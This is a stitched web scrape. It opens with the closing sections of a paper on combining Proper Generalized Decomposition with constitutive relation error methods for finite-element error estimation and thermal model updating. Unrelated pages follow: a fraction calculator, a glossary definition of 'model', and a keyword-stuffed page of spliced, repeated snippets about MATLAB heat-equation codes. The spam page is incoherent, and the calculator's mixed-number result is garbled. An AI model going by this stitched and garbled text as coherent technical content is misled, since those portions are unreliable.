$$\\varvec{V}^T(\\mathbb {K}\\varvec{W}- \\varvec{F})=0$$ for all $$\\varvec{V}\\in \\varvec{\\mathcal {U}}_h$$, where $$\\mathbb {K}$$ and $$\\varvec{F}$$ are the global stiffness matrix and load vector, respectively, of the FE system. The associated admissibility space is denoted $$\\varvec{\\mathcal {S}}_h$$.\n\nThe discretized mCRE functional thus reads:\n\n\\begin{aligned} \\mathcal {E}^2_h(\\varvec{V},\\varvec{W},\\varvec{p},\\varvec{s}) = \\frac{1}{2}(\\varvec{W}-\\varvec{V})^T\\mathbb {K}(\\varvec{p})(\\varvec{W}-\\varvec{V}) + \\frac{1}{2}\\frac{r}{1-r}(\\Pi \\!{\\Pi }\\varvec{V}-\\varvec{s})^T\\mathbb {G}(\\Pi \\!{\\Pi }\\varvec{V}-\\varvec{s}) \\end{aligned}\n(42)\n\nwhere $$\\mathbb {G}$$ is a scaling diagonal matrix that integrates $$\\sigma$$. Defining the cost function $$\\mathcal {F}_h(\\varvec{p})$$ as:\n\n\\begin{aligned} \\mathcal {F}_h(\\varvec{p})=\\min _{(\\varvec{V},\\varvec{W})\\in \\varvec{\\mathcal {U}}_h \\times \\varvec{\\mathcal {S}}_h}\\mathcal {E}^2_h(\\varvec{V},\\varvec{W},\\varvec{p},\\varvec{s}) \\end{aligned}\n(43)\n\nthe associated constrained minimization is performed introducing the Lagrangian:\n\n\\begin{aligned} \\mathcal {L}_h(\\varvec{V},\\varvec{W},\\varvec{p},\\varvec{\\Lambda }) = \\mathcal {E}^2_h(\\varvec{V},\\varvec{W},\\varvec{p},\\varvec{s}) - \\varvec{\\Lambda }^T\\left[ \\mathbb {K}(\\varvec{p}) \\varvec{W}- \\varvec{F}\\right] \\end{aligned}\n(44)\n\nand leads to $$\\left( \\widehat{\\varvec{V}},\\widehat{\\varvec{W}},\\widehat{\\varvec{\\Lambda }}\\right)$$ solution of the system:\n\n\\begin{aligned} \\widetilde{\\mathbb {K}}(\\varvec{p})\\left( \\widehat{\\varvec{U}}-\\widehat{\\varvec{W}}\\right) + \\frac{r}{1-r} \\Pi \\!{\\Pi }^T\\widetilde{\\mathbb {G}}\\left( \\Pi \\!{\\Pi }\\widehat{\\varvec{U}}-\\varvec{s}\\right)= & {} \\varvec{0} \\nonumber \\\\ \\mathbb {K}(\\varvec{p})\\left( \\widehat{\\varvec{W}}-\\widehat{\\varvec{U}}\\right) - \\mathbb {K}(\\varvec{p})\\widehat{\\varvec{\\Lambda }}= & {} \\varvec{0} \\nonumber \\\\ \\widetilde{\\mathbb {K}}(\\varvec{p}) \\widehat{\\varvec{W}} - \\widetilde{\\varvec{F}}= & {} \\varvec{0} \\end{aligned}\n(45)\n\nwhere $$\\widetilde{\\mathbb {K}}$$ (resp. $$\\widetilde{\\mathbb {G}}$$ and $$\\widetilde{\\varvec{F}}$$) is the restriction of $$\\mathbb {K}$$ (resp. $$\\mathbb {G}$$ and $$\\varvec{F}$$) in which lines corresponding to prescribed dofs in $$\\varvec{\\mathcal {U}}_h$$ have been removed.\n\n#### Use of the PGD for the first minimization\n\nIn this section, we implement a PGD meta-model to find, in an offline phase, parameterized solutions $$\\left( \\widehat{u},\\widehat{\\lambda }\\right)$$ to (41). Defining $$\\sigma _r= \\frac{r}{1-r}\\sigma \\in \\Sigma _r$$ (single parameter gathering scaling and weighting effects in mCRE) and assuming that $$\\mathcal {P}=\\otimes _{j=1}^P \\mathcal {P}_j$$, these are searched of the form:\n\n\\begin{aligned} \\widehat{u}_m(\\varvec{x},\\sigma _r,\\varvec{p})= & {} \\sum _{i=1}^m \\left[ \\psi ^u_i(\\varvec{x})\\kappa _i^u(\\sigma _r)\\prod _{j=1}^P \\chi ^u_{j,i}(p_i)\\right] ; \\nonumber \\\\&\\widehat{\\lambda }_m(\\varvec{x},\\sigma _r,\\varvec{p}) = \\sum _{i=1}^m \\left[ \\psi ^{\\lambda }_i(\\varvec{x})\\kappa _i^{\\lambda }(\\sigma _r)\\prod _{j=1}^P \\chi ^{\\lambda }_{j,i}(p_i)\\right] \\end{aligned}\n(46)\n\nHere again, the progressive Galerkin approach described in “Background” section is used with the following bilinear form B and linear form F:\n\n\\begin{aligned}&B((\\widehat{u},\\widehat{\\lambda }),(v,\\lambda )) = \\int _{\\Sigma _r}\\int _{\\mathcal {P}}\\left[ \\int _{\\Omega }\\mathcal {K}(\\varvec{p})\\varvec{\\nabla }(\\widehat{u}+\\widehat{\\lambda }) \\cdot \\varvec{\\nabla }\\lambda -\\int _{\\Omega }\\mathcal {K}(\\varvec{p})\\varvec{\\nabla }\\widehat{\\lambda } \\cdot \\varvec{\\nabla }v + \\sigma _r \\varvec{\\Pi }\\widehat{u} \\cdot \\varvec{\\Pi }v \\right] \\nonumber \\\\&F((v,\\lambda )) = \\int _{\\Sigma _r}\\int _{\\mathcal {P}}\\left[ \\int _{\\Omega }f\\lambda + \\int _{\\Gamma _N}g\\lambda + \\sigma _r \\varvec{s}\\cdot \\varvec{\\Pi }v \\right] \\end{aligned}\n(47)\n\nUsing then $$(\\widehat{u}_m,\\widehat{\\lambda }_m)$$ in the online model updating phase with mCRE has several advantages:\n\n• The explicit dependency on parameters $$\\varvec{p}$$ enables: (1) to evaluate very fast and for any values of $$\\varvec{p}$$ the optimal admissible fields arising from the first constrained minimization; (2) to compute gradients of the cost function $$\\mathcal {F}(\\varvec{p})$$ analytically and thus perform the second minimization step very easily;\n\n• The explicit dependency on parameter $$\\sigma _r$$ makes the definition of the optimal value of $$\\sigma _r$$ (primarily with respect to measurement noise using the L-curve method) straightforward.\n\n### Remark 12\n\nIn the present work, we assume that measurement values in $$\\varvec{s}$$ are known upstream to the updating procedure, and that this procedure is conducted for a single set of measurement values. In other cases such as data assimilation on time-dependent problems, they can be considered as extra-parameters in the PGD decomposition as performed in [40, 41].\n\nIn practice, space functions $$\\psi ^u_i(\\varvec{x})$$ and $$\\psi ^{\\lambda }_i(\\varvec{x})$$ are computed using the FEM, and other functions appearing in PGD modes are discretized using a fine grid over spaces $$\\Sigma _r$$ and $$\\mathcal {P}_j$$ ($$j=1,\\dots ,P$$).\n\n## Results and discussion\n\nIn this section, we illustrate and analyze performances of the approach proposed in “Coupling PGD with CRE in model verification” and “Coupling PGD with mCRE in model validation” sections. “Example 1: a posteriori error estimation on a 2D structure” section deals with model verification using a CRE error estimate coupled with PGD, whereas “Example 2: model updating on a 3D structure” section addresses model updating using a mCRE formulation coupled with PGD.\n\n### Example 1: a posteriori error estimation on a 2D structure\n\n#### Problem geometry and data\n\nWe consider discretization error estimation on a 2D holed plate $$\\Omega$$, according to a given mesh composed of 3-nodes triangular elements (Fig. 3). We consider a steady-state thermal problem and homogeneous isotropic material properties with $$\\mathcal {K}=\\mathbb {I}$$. A prescribed zero temperature is applied on the external boundary $$\\Gamma _D$$, while a flux $$g=1 \\, W/m$$ is imposed on the inner boundary $$\\Gamma _N$$. Owing to problem symmetries, only one quarter of the plate is studied.\n\nFrom the associated FE solution, equilibrated tractions are computed using the first step of the hybrid-flux (or EET) technique.\n\n#### Details on the PGD solution\n\nWe compute a parametrized solution $$\\rho ^{jl}_{\\ell ,m}\\left( \\varvec{x}_{ref},\\alpha ,\\overline{x}_3,\\overline{y}_3\\right) = \\alpha \\sum _{i=1}^m\\psi _i(\\varvec{x}_{ref}) \\delta ^x_i(\\overline{x}_3) \\delta ^y_i(\\overline{y}_3)$$ of (25) with a single 4th order FE element and 20 PGD modes ($$m=20$$). The domains $$I_{\\overline{x}_3} = [0,1]$$ and $$I_{\\overline{y}_3} = [0.1,1]$$ are discretized with 100 points each, after checking that this is sufficient to ensure an accurate description of the evolutions with respect to $$\\overline{x}_3$$ and $$\\overline{y}_3$$. The first three PGD modes of $$\\rho ^{11}_{1,20}$$ are shown in Fig. 4. In Fig. 5, we represent the PGD approximation of $$\\rho ^{11}_1$$ for different configurations of parameters $$\\overline{x}_3$$ and $$\\overline{y}_3$$. The computation of this PGD solution is done once for all, in an offline phase and stored for later use.\n\nAfter identifying the PGD parameters $$\\alpha$$, $$\\overline{x}_3$$ and $$\\overline{y}_3$$ over each element of the mesh (see Fig. 6), an accurate PGD approximation of the admissible flux $$\\widehat{\\varvec{q}}_m$$ can then be directly evaluated inside each element in an inexpensive online phase; this method is referred as EET-PGD method in the following.\n\n#### CRE estimate obtained from EET-PGD\n\nFrom PGD solutions, we have all ingredients to estimate the discretization error using the CRE method. In Fig. 7, we compare local contributions to the CRE estimate $$2 E^2_{CRE}$$, obtained from the EET-PGD technique when computing an admissible flux $$\\widehat{\\varvec{q}}_{h,m}$$, with: (1) contributions to the CRE estimate obtained from the classical EET technique when computing an admissible flux $$\\widehat{\\varvec{q}}_h$$; (2) contributions to the exact error $$|||e|||^2_{\\mathcal {U}}$$ evaluated using a highly refined mesh (overkill solution). One observes similarities between the two CRE estimations, showing up areas where the mesh needs to be refined. These areas are correctly predicted when comparing to the exact error distribution.\n\nChoosing $$m=20$$ to compute PGD solutions in the EET-PGD technique may be unnecessary. To analyze this point, we show in Fig. 8 values of the effectivity index $$\\displaystyle {i_{eff} = \\frac{\\sqrt{2}E_{CRE}}{|||e|||_{\\mathcal {U}}}}$$ with respect to the number m of PGD modes used to evaluate the equilibrated flux $$\\widehat{\\varvec{q}}_{h,m}$$. We also represent in Fig. 9 the evolution of the relative error $$\\frac{|||\\widehat{\\varvec{q}}_{h,m}-\\widehat{\\varvec{q}}_{h}|||_{\\mathcal {S}}}{|||\\widehat{\\varvec{q}}_{h}|||_{\\mathcal {S}}}$$ with respect to m, where $$\\widehat{\\varvec{q}}_{h}$$ is the equilibrated flux field constructed with the EET technique. A map of $$|||\\widehat{\\varvec{q}}_{h,m}-\\widehat{\\varvec{q}}_{h}|||_{\\mathcal {S}}$$ for $$m=1$$, $$m=2$$, and $$m=3$$ is given in Fig. 10. We observe that choosing $$m=7$$ is enough to reconstruct an admissible flux solution which is equivalent to the one obtained with the classical EET technique. We also observe that $$m=3$$ enables to capture the complexity of the local problems and to provide for a relevant error estimate, even though it is not guaranteed.\n\n#### Speed-up obtained using the PGD solution\n\nEventually, we compare the CPU time required to compute the equilibrated flux field depending on which method is used (Fig. 11). All the computations were performed on an Intel Core i5 2.4 GHz with 8 GB of RAM, without parallelization. Classical EET and EET-PGD techniques share as much code as possible, and only the construction and solution of the matrix problem is replaced by a simple post-processing with PGD solutions in the EET-PGD technique. Naturally, the first step with construction of equilibrated tractions is similar for both techniques.\n\nWhen using the EET-PGD technique, the offline CPU cost to compute the PGD solution is 312 s; this solution can then be used in a multi-query context. In the online step, computing the equilibrated flux from the classical EET technique (Cholesky factorization) takes 0.01509 s per element (0.0587 s for the whole mesh composed of 42 elements), whereas computing the equilibrated flux from a direct evaluation of the PGD solution takes 0.00426 s per element (0.0077 s for the whole mesh). We thus observe a speed-up of almost 10 in the second CRE step (construction of equilibrated fluxes in each element), and the global speed-up on the whole hybrid-flux technique (with associated CPU cost of 0.0960 s) is about a factor 2.\n\nIn Fig. 12, we represent this same speed-up for different levels of refinement of the initial mesh (corresponding meshes are given in Fig. 13). The speed-up increases as the mesh becomes finer, reaching a gain of 125 on a 2688 elements mesh for the local recovery, while the overall hybrid-flux technique shows a speed-up of magnitude 5 on this same mesh. An additional step would be to reduce the CPU time of the tractions reconstruction, by optimizing implementation, in order to fully benefit from the use of the PGD technique.\n\n### Example 2: model updating on a 3D structure\n\n#### Identification problem\n\nWe consider a steady-state thermal problem on the 3D geometry shown in Fig. 14. It is a two layers cylinder (length $$L=100$$, internal radius $$R_{int}=10$$, external radius $$R_{ext}=14$$) with a localized inclusion (length $$L_{inc}=10$$) in the middle of the cylinder. The internal layer (resp. external layer, and inclusion) is represented in green (resp. blue, and red) color in Fig. 14. In each of the layers and in the inclusion, the material is supposed to be isotropic and homogeneous with respective material operators $$\\mathcal {K}_{int}=p_{int}\\mathbb {I}$$, $$\\mathcal {K}_{ext}=p_{ext}\\mathbb {I}$$, and $$\\mathcal {K}_{inc}=p_{inc}\\mathbb {I}$$. The applied boundary conditions are: (1) homogeneous Dirichlet boundary conditions on one end of the cylinder; (2) given thermal flow $$q^d=1$$ on the inner boundary; (3) zero thermal flow (free surface) on all other boundaries.\n\nWe wish to identify thermal conductivity parameters $$(p_{ext},p_{inc})$$ from noisy measurements given by a set of 12 sensors. These sensors are placed on four horizontal rows with $$\\pi /6$$ angle spacing (see Fig. 14). The reference values for parameters $$(p_{ext},p_{inc})$$ to be identified are $$p_{ext}^{ref}=10$$ and $$p_{inc}^{ref}=1$$. Furthermore, we fix $$p_{int}=20$$.\n\nTo perform the identification process, the structure is discretized with a FE mesh made of 41,856 tetrahedra (13,164 nodes) as presented in Fig. 14. The noisy observation data are synthesized numerically by solving the direct problem with reference parameter values $$(p^{ref}_{ext},p^{ref}_{inc})$$, extracting the obtained nodal temperature values $$u_i$$ at sensors positions, then adding a Gaussian white noise to get data $$s_i$$:\n\n\\begin{aligned} s_i = \\left( 1 + \\mathcal {N}(0,\\Upsilon ) \\right) u_i \\end{aligned}\n(48)\n\nwith variance $$\\Upsilon$$. In the following, we choose $$\\Upsilon =0.1$$.\n\n#### PGD model reduction\n\nAs detailed in “Coupling PGD with mCRE in model validation” section, PGD representations of the parameterized solutions $$\\left( \\widehat{u},\\widehat{\\lambda }\\right)$$ to (41) are computed in an offline phase. These read:\n\n\\begin{aligned} \\widehat{u}_m(\\varvec{x},\\sigma _r,p_{ext},p_{inc})= & {} \\sum _{i=1}^m\\psi ^u_i(\\varvec{x})\\kappa _i^u(\\sigma _r) \\chi ^u_{1,i}(p_{ext})\\chi ^u_{2,i}(p_{inc})\\nonumber \\\\ \\widehat{\\lambda }_m(\\varvec{x},\\sigma _r,p_{ext},p_{inc})= & {} \\sum _{i=1}^m \\psi ^{\\lambda }_i(\\varvec{x})\\kappa _i^{\\lambda }(\\sigma _r) \\chi ^{\\lambda }_{1,i}(p_{ext}) \\chi ^{\\lambda }_{2,i}(p_{inc}) \\end{aligned}\n(49)\n\nThe first five (normalized) PGD modes are represented in Figs. 15 and 16. In Fig. 17, we represent the energy norm of each PGD mode relative to the energy norm of the first PGD mode $$u_1$$, which shows that their influence highly decreases with m. In practice, we choose $$m=15$$.\n\n#### Identification with PGD\n\nStarting from the initial parameter values $$p_{ext}^0=20$$ and $$p_{inc}^0=10$$, we implement the model updating process using the mCRE method coupled with the previously computed PGD solutions. We represent in Fig. 18 the evolution of the cost function $$\\mathcal {F}(p_{ext},p_{inc}) = \\mathcal {E}^2_{mCRE}\\left( \\widehat{u}_m,\\widehat{\\varvec{q}}_m,p_{ext},p_{inc},\\varvec{s}\\right)$$; it clearly shows the convex feature of this cost function, and therefore the uniqueness of the minimization solution. We also plot in Fig. 19 the evolution of the two terms of the cost function, i.e. the model error term and the measurement error term, with respect to the penalty coefficient $$\\sigma _r$$ for $$(p_{ext},p_{inc})=\\left( p^0_{ext},p^0_{inc} \\right)$$. The optimal value of $$\\sigma _r$$ is the one for which the two error terms are balanced (i.e. when the two curves intersect). Notice that these evolutions of the mCRE functional are easy to obtain as the PGD solutions (49) lead to explicit dependencies with respect to $$p_{ext}$$, $$p_{inc}$$, and $$\\sigma _r$$.\n\nWe now perform the iterative process using a first order (gradient) minimization method. For each iteration, we show in Fig. 20 the identified values of $$(p_{ext}, p_{inc})$$, as well as the optimal value $$\\sigma _r$$ used for this iteration and defined as previously. We observe that the method converges to identified values of $$(p_{ext}, p_{inc})$$ which are very close to the reference values $$\\left( p_{ext}^{ref}, p_{inc}^{ref} \\right)$$. In addition, we study the incidence of the number m of considered PGD modes on the identification results. The convergence of the identification process is represented in Fig. 21 for several values of m. We clearly observe that the accuracy of the identification results is highly impacted by the value chosen for m, and that the process leads to a relative error lower than $$10\\, \\%$$ for both parameters $$p_{ext}$$ and $$p_{inc}$$ when using $$m=15$$. It is also interesting to notice that the PGD representation with $$m=10$$ is suitable for the identification of $$p_{ext}$$, which is the parameter with greater weight on the overall solution, but still fails for the identification of $$p_{inc}$$.\n\nThe use of PGD enables large computation gains. Using a direct solver with parallelization over 4 nodes, a classical identification process with mCRE would require about 4 h for this problem. Coupled with PGD, this same process takes only 5 min in the online phase (and additional 30 min to compute PGD solutions with 15 modes in the offline phase). All computations were performed with a Python FE code using the scipy.sparse module for matrix representation, and systems were solved with a dedicated direct solver based on the UMFPACK library. The speed-up thus comes from the difference between the original mCRE and the PGD-mCRE strategies. A crude complexity analysis of the two approaches can be conducted as follows:\n\n• Considering original mCRE, each iteration with update of the value of $$\\sigma _r$$ requires to solve a Pareto problem to find the optimal value of $$\\sigma _r$$. This involves about 40 sub-iterations, each of them corresponding to the solution of a linear system with the size of the problem in space [resulting from (41)]. Considering 10 iterations in the mCRE identification process thus leads to the solution of about 400 linear systems of the space problem size;\n\n• Considering PGD-mCRE, the offline computational cost is due to the use of a greedy algorithm to compute 15 PGD modes. At each iteration of this algorithm, we implement a fixed point procedure which converges in 3 sub-iterations (average), and a sub-iteration requires the solution of the space problem. Consequently, the computation of the parametric PGD decomposition requires to solve about 45 linear systems with the size of the problem in space. Then, no more solutions of linear systems are required in the online step, merely some inexpensive evaluations of parametric functions.\n\n## Conclusions\n\nWe presented a general framework that highlights the beneficial use of PGD in V&V procedures performed by means of the CRE concept. Based on an offline/online strategy, it drastically decreases the computational cost and technicalities which are essentially associated with the computation of admissible fields. We believe this work paves the way to both robust, practical, and real-time methods for controlling computational mechanics models. Furthermore, as the proposed technique is focused on balance equations alone, it should be possible to extend it to nonlinear time-dependent problems. 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Comput Methods Appl Mech Eng. 2010;199(25–28):1872–80.\n\n57. 57.\n\nMoitinho de Almeida JP. A basis for bounding the errors of proper generalised decomposition solutions in solid mechanics. Int J Numer Methods Eng. 2013;94(10):961–84.\n\n58. 58.\n\nBecker R, Vexler B. Mesh refinement and numerical sensitivity analysis for parameter calibration of partial differential equations. J Comput Phys. 2005;206:95–110.\n\n## Authors' contributions\n\nAll authors discussed the content of the article, and were involved in its writing. All authors read and approved the final manuscript.\n\n### Competing interests\n\nThe authors declare that they have no competing interests.\n\n## Author information\n\nAuthors\n\n### Corresponding author\n\nCorrespondence to Ludovic Chamoin.\n\n## Rights and permissions",
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"https://amses-journal.springeropen.com/track/article/10.1186/s40323-016-0073-9",
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https://answers.everydaycalculation.com/divide-fractions/18-15-divided-by-21-30 | [
"Solutions by everydaycalculation.com\n\n## Divide 18/15 with 21/30\n\n1st number: 1 3/15, 2nd number: 21/30\n\n18/15 ÷ 21/30 is 12/7.\n\n#### Steps for dividing fractions\n\n1. Find the reciprocal of the divisor\nReciprocal of 21/30: 30/21\n2. Now, multiply it with the dividend\nSo, 18/15 ÷ 21/30 = 18/15 × 30/21\n3. = 18 × 30/15 × 21 = 540/315\n4. After reducing the fraction, the answer is 12/7\n5. In mixed form: 15/7\n\nMathStep (Works offline)",
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"Download our mobile app and learn to work with fractions in your own time:"
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"https://answers.everydaycalculation.com/mathstep-app-icon.png",
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https://research-coaches.com/dictionary/model/ | [
"",
null,
"Model",
null,
"# Research-Coaches.com\n\n## We show you the way how to conduct perfect research\n\n### A model is a replica of the empery (the real world). Some models are an exact replica, but most of the time the model is a simplification of the empery.\n\nModels are used for explaining how the real world is functioning. Several types of models can be distinguished. They are described below. Though different types of models can be distinguished, most of the time the combination of a linguistic and a visual model are used together to explain things in a clear way. Sometimes this is called a theory. Theories however are slightly different from the combination of models. You can read more about this issue on our page called theory.\n\n## Model as an exact replica\n\nThis type of models are often used in medicine. A replica of the human body with several parts that can be taken out and put together again. They are useful in explaining where the body parts are. To explain the function of every part, words are needed.\n\nAn exact replica can be a one-to-one replica. It is often more useful to shrink the empery into a smaller replica (for example a building), or to blow it up to a large one (for example the structure of an atom).\n\n## Model as a graphical model\n\nThis is a drawing. The advantage of this type of model compared to a replica is that it isn’t three dimensional so it can be used in textbooks or on websites. Written words can be used to give a full explanation.\n\nThe aspects of the real world can be represented in the graphic model in a concrete but also very abstract way. The more abstracted the display, the more redundant the model.\n\n## Model as a linguistic model\n\nIn a linguistic model everything is explained in words. It is hard to explain it clearly so most of the time these linguistic models are combined with the other types of models.\n\n## Model as a mathematical model\n\nThis type of models reduce the empery to an arithmetic operation. 2 + 2 = 4 might mean two sheep and two sheep are four sheep. It can also mean two men and two men are four men.\n\nStatistics is based on mathematical models. Sometimes the term model is explicitly used, for instance in regression.\n\n## Conceptual models\n\nA conceptual model is an abstracted model for a research. It explains which parts of the empery are measured and how these aspects – according to a theory – are related. Conceptual models are tested with statistics. They are useful for making a theory or to test a theory.\n\n## Final remarks\n\nA model is always redundant to the empery. This means, not every aspect of the empery is out of necessity represented in the model. Most of the time the aspects that don’t help to clarify the real world are left out.\n\n## Related topics to model:",
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https://softmath.com/math-com-calculator/geometry/std-6th-algebraic-expression.html | [
"",
null,
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" Adi Method 2d Heat Equation Matlab Code\nAdi Method 2d Heat Equation Matlab Code\nm files to solve the heat equation. A filtered design variable with a minimum length is computed using a Helmholtz-type differential equation. I have Dirichlet boundary conditions on the left, upper, and lower boundaries, and a mixed boundary condition on the right boundary. Numerical Solution of 1D Heat Equation R. Chapter IV: Parabolic equations: mit18086_fd_heateqn. \"proper\" 2D form, to limit spatial distortion of solutions propagating transverse to grid points. However, library calls, for example calls to linear solvers such as Suitesparese/UMFPACK , are just as efficient as other software using these same libraries. A Monte Carlo method for photon transport has gained wide popularity in biomedical optics for studying light behaviour in tissue. Solved 2d S Heat Conduction In A Circular Plate Withou. Infinite signal speed. Week 5 - Mid term project - Solving the steady and unsteady 2D heat conduction problem. m - Code for the numerical solution using ADI method thomas_algorithm. Matlab Code Examples. I need matlab code to solve 2D heat equation \"PDE \" using finite difference method implicit schemes. During each timestep solve the corresponding matrix A using the PCG method. SOLUTIONS TO THE HEAT AND WAVE EQUATIONS AND THE CONNECTION TO THE FOURIER SERIES IAN ALEVY Abstract. Two Neumann boundaries on the top-left half, and right-lower half I need to make sure I am gett. I'm trying to follow an example in a MATLab textbook. Ver2, EXCEL Problem III. I'm not sure if the waves are behaving properly. Finally, re- the. The purpose of this project is to implement explict and implicit numerical methods for solving the parabolic equation. m) of the commands as % they are shown below. Im trying to connect the subroutine into main program and link it together to generate the value of u(n+1,j) and open the output and graphics into the matlab files. By using code in practical ways, students take their first steps toward more sophisticated numerical modeling. I was wondering if anyone might know where I could find a simple, standalone code for solving the 1-dimensional heat equation via a Crank-Nicolson finite difference method (or the general theta method). HOT_PIPE, a MATLAB program which uses FEM_50_HEAT to solve a heat problem in a pipe. The focus is on continuum mechanics problems as applied to geological processes in the solid Earth, but the numerical methods have broad applications including in geochemistry or climate modeling. I'm not sure if the waves are behaving properly. Claes Johnson, Numerical solution of partial differential equations by the finite element method. Figure 3: MATLAB script heat2D_explicit. METHOD OF CHARACTERISTICS FOR TWO‐DIMENSIONAL ISENTROPIC SUPERSONIC FLOW MATLAB FUNCTIONS AND APPLICATION SCRIPTS FOR EDUCATIONAL USE William J. Skills: Engineering, Mathematics, Matlab and Mathematica, Mechanical Engineering. Finally, re- the. 1 Anabstractformulation 199 8. Implementation of a simple numerical schemes for the heat equation. MATLAB codes should be submitted online. Space-time discretizationof the heat equation A concise Matlab implementation Roman Andreev September 26, 2013 Abstract A concise Matlab implementation of a stable parallelizable space-time Petrov-Galerkindiscretizationfor parabolic evolutionequationsis given. You may also want to take a look at my_delsqdemo. Practice with PDE codes in MATLAB. Devenport Department of Aerospace and Ocean Engineering, Virginia Tech April 2009 The solution of flow problems using the method of characteristics can be simplified by dividing the flow into regions of. This MATLAB code is for two-dimensional beam elements (plane beam structures) with three degrees of freedom per node (two translational -parallel and perpendicular to beam axis- and one rotational); This code plots the initial configuration and deformed configuration of the structure. MATLAB jam session in class. pdf] - Read File Online - Report Abuse. viii Computational Partial Differential Equations Using MATLAB 8 Mixed Finite Element Methods 199 8. m, shows an example in which the grid is initialized, and a time loop is performed. Finally, in Chap. Numerical Modeling of Earth Systems An introduction to computational methods with focus on solid Earth applications of continuum mechanics Lecture notes for USC GEOL557, v. This code is quite complex, as the method itself is not that easy to understand. 2d Finite Element Method In Matlab. Cheviakov b) Department of Mathematics and Statistics, University of Saskatchewan, Saskatoon, S7N 5E6 Canada. 2 A finite difference scheme 55 3. Caption of the figure: flow pass a cylinder with Reynolds number 200. FEM2D_HEAT, a MATLAB program which applies the finite element method to solve a form of the time-dependent heat equation over an arbitrary triangulated region. Developed a MATLAB code for the two schemes and for the penta diagonal matrix resulting from ADI scheme. The stability criterion for the forward Euler method requires the step size h to be less than 0. FORTRAN routines developed for the MAE 5093 - Engineering Numerical Analysis course are available at GitHub. DOING PHYSICS WITH MATLAB ELECTRIC FIELD AND ELECTRIC POTENTIAL: Solution of the [2D] Poisson's equation using a relaxation method. Object Orientation - Once we have the discretisation in place we will decide how to define the objects representing our finite difference method in C++ code. This code employs finite difference scheme to solve 2-D heat equation. Becker Department of Earth Sciences, University of Southern California, Los Angeles CA, USA and Boris J. In this problem we will study and solve 2D steady-state heat conduction on a plate using finite difference method. Terrell, Heat equation with modifiable input J. Diffusion In 1d And 2d File Exchange Matlab Central. We know that successful coding of numerical schemes. This is for a numerical methods class, we are implementing an explicit method to solve a 1-D wave equation. problem formulation and discretization 2. The finite element method is handled as an extension of two-point boundary value problems by letting the solution at the nodes depend on time. Below shown is the equation of heat diffusion in 2D Now as ADI scheme is an implicit one, so it is unconditionally stable. The above equation to determine the temperature at the current point (T(i,j)) is solved using iterative techniques such as, Jacobi Method; Gauss Seidel Method; Successive Over Relaxation (SOR) Method utilizing Jacobi and Gauss Seidel Methods. Some other detail on the problem may help. Heat equation in more dimensions: alternating-direction implicit (ADI) method 2D: splitting the time step into 2 substeps, each of lenght t/2 3D: splitting the time step into 3 substeps, each of length t/3 All substeps are implicit and each requires direct solutions to J independent linear algebraic systems with tridiagonal matrices of size J x J. The purpose of this project is to implement explict and implicit numerical methods for solving the parabolic equation. This method is applicable to find the root of any polynomial equation f(x) = 0, provided that the roots lie within the interval [a, b] and f(x) is continuous in the interval. 2d Finite Difference Method Heat Equation. m: tridiagonal solver A FORTRAN pentadiagonal solver Here are some routines for inputting data files for plotting in MATLAB. Ver3, MATLAB Problem IV, MATLAB SS Problem IV, MATLAB NR. Becker Department of Earth Sciences, University of Southern California, Los Angeles CA, USA and Boris J. Using fixed boundary conditions \"Dirichlet Conditions\" and initial temperature in all nodes, It can solve until reach steady state with tolerance value selected in the code. The presented work solves 2-D and 3-D heat equations using the Finite Difference Method, also known as the Forward-Time Central-Space (FTCS) method, in MATLAB®. Crank Nicolson method is a finite difference method used for solving heat equation and similar partial differential equations. m - Fast algorithm for solving tridiagonal matrices comparison_to_analytical_solution. I'm assuming there is alot I can do to make this code better since I'm new to matlab, and I would love som feedback on that. m: tridiagonal solver A FORTRAN pentadiagonal solver Here are some routines for inputting data files for plotting in MATLAB. Ask Question This method rewrites as the two-step ADI method, which intermediate step ${\\bf v}^*$ satisfies \\begin{aligned} \\left(1 Browse other questions tagged pde numerical-methods matlab heat-equation or ask your own question. It results in analternate direction implicit decomposition: the problem is solved successively as a 2D surface problem and several one- dimensional through thickness problems. To learn more about MATLAB code for simulating heat transfer visit our TUTORIAL PAGE. I'm trying to simulate a temperature distribution in a plain wall due to a change in temperature on one side of the wall (specifically the left side). 5 Neumann Boundary Conditions 2. , αbeing a piecewise constant. Check everything. Partial Differential Equation Toolbox ™ provides functions for solving structural mechanics, heat transfer, and general partial differential equations (PDEs) using finite element analysis. Heat equation in more dimensions: alternating-direction implicit (ADI) method 2D: splitting the time step into 2 substeps, each of lenght t/2 3D: splitting the time step into 3 substeps, each of length t/3 All substeps are implicit and each requires direct solutions to J independent linear algebraic systems with tridiagonal matrices of size J x J. FEM2D_HEAT, a MATLAB program which applies the finite element method to solve the 2D heat equation. This lecture discusses how to numerically solve the 2-dimensional diffusion equation, $$\\frac{\\partial{}u}{\\partial{}t} = D \\nabla^2 u$$ with zero-flux boundary condition using the ADI (Alternating-Direction Implicit) method. pdf - Written down numerical solution to heat equation using ADI method solve_heat_equation_implicit_ADI. ##2D-Heat-Equation As a final project for Computational Physics, I implemented the Crank Nicolson method for evolving partial differential equations and applied it to the two dimension heat equation. This class focuses on the numerical solution of problems arising in the quantitative modeling of Earth systems. On the other hand, one might hard{code the numerical integrations, either using a specialized mathematics programming language such as MATLAB or Mathematica, or a lower level programming language such as C. In addition, these packages may require substantial learning. 0 ⋮ Discover what MATLAB. Ask Question Asked 2 years, 101 , :) is always zero in your code. The Finite Volume Method (FVM) is a discretization method for the approximation of a single or a system of partial differential equations expressing the conservation, or balance, of one or more quantities. Mike Sussman December 1, 2012. Numerical integrations. equations at interior nodes. This lecture is provided as a supplement to the text: \"Numerical Methods for Partial Differential Equations: Finite Difference and Finite Volume Methods,\" (2015), S. com The Finite Difference Time Domain Method for Electromagnetics With MATLAB Simulations Atef Elsherbeni and To create a game with a realistic physical behavior we used box2d physical engine. Here you find examples for modelling and inversion of various geophysical methods as well as interesting usage examples of pyGIMLi. You can perform linear static analysis to compute deformation, stress, and strain. 2 for NACA 0012 Airfoil, Using AUSM Method (C++ FVM Coding). The Euler method is a numerical method that allows solving differential equations (ordinary differential equations). 2d Laplace Equation File. This paper presents an efficient and compact Matlab code to solve three-dimensional topology optimization problems. ADI method application for 2D problems Real-time Depth-Of-Field simulation —Using diffusion equation to blur the image Now need to solve tridiagonal systems in 2D domain —Different setup, different methods for GPU. m This solves the heat equation with Forward Euler time-stepping, and finite-differences in space. 1,754,264 views. The two graphics represent the progress of two different algorithms for solving the Laplace equation. The Finite Element Method is a popular technique for computing an approximate solution to a partial differential equation. OpenFOAM is the leading leading free, open source software for computational fluid dynamics (CFD) []. Im trying to connect the subroutine into main program and link it together to generate the value of u(n+1,j) and open the output and graphics into the 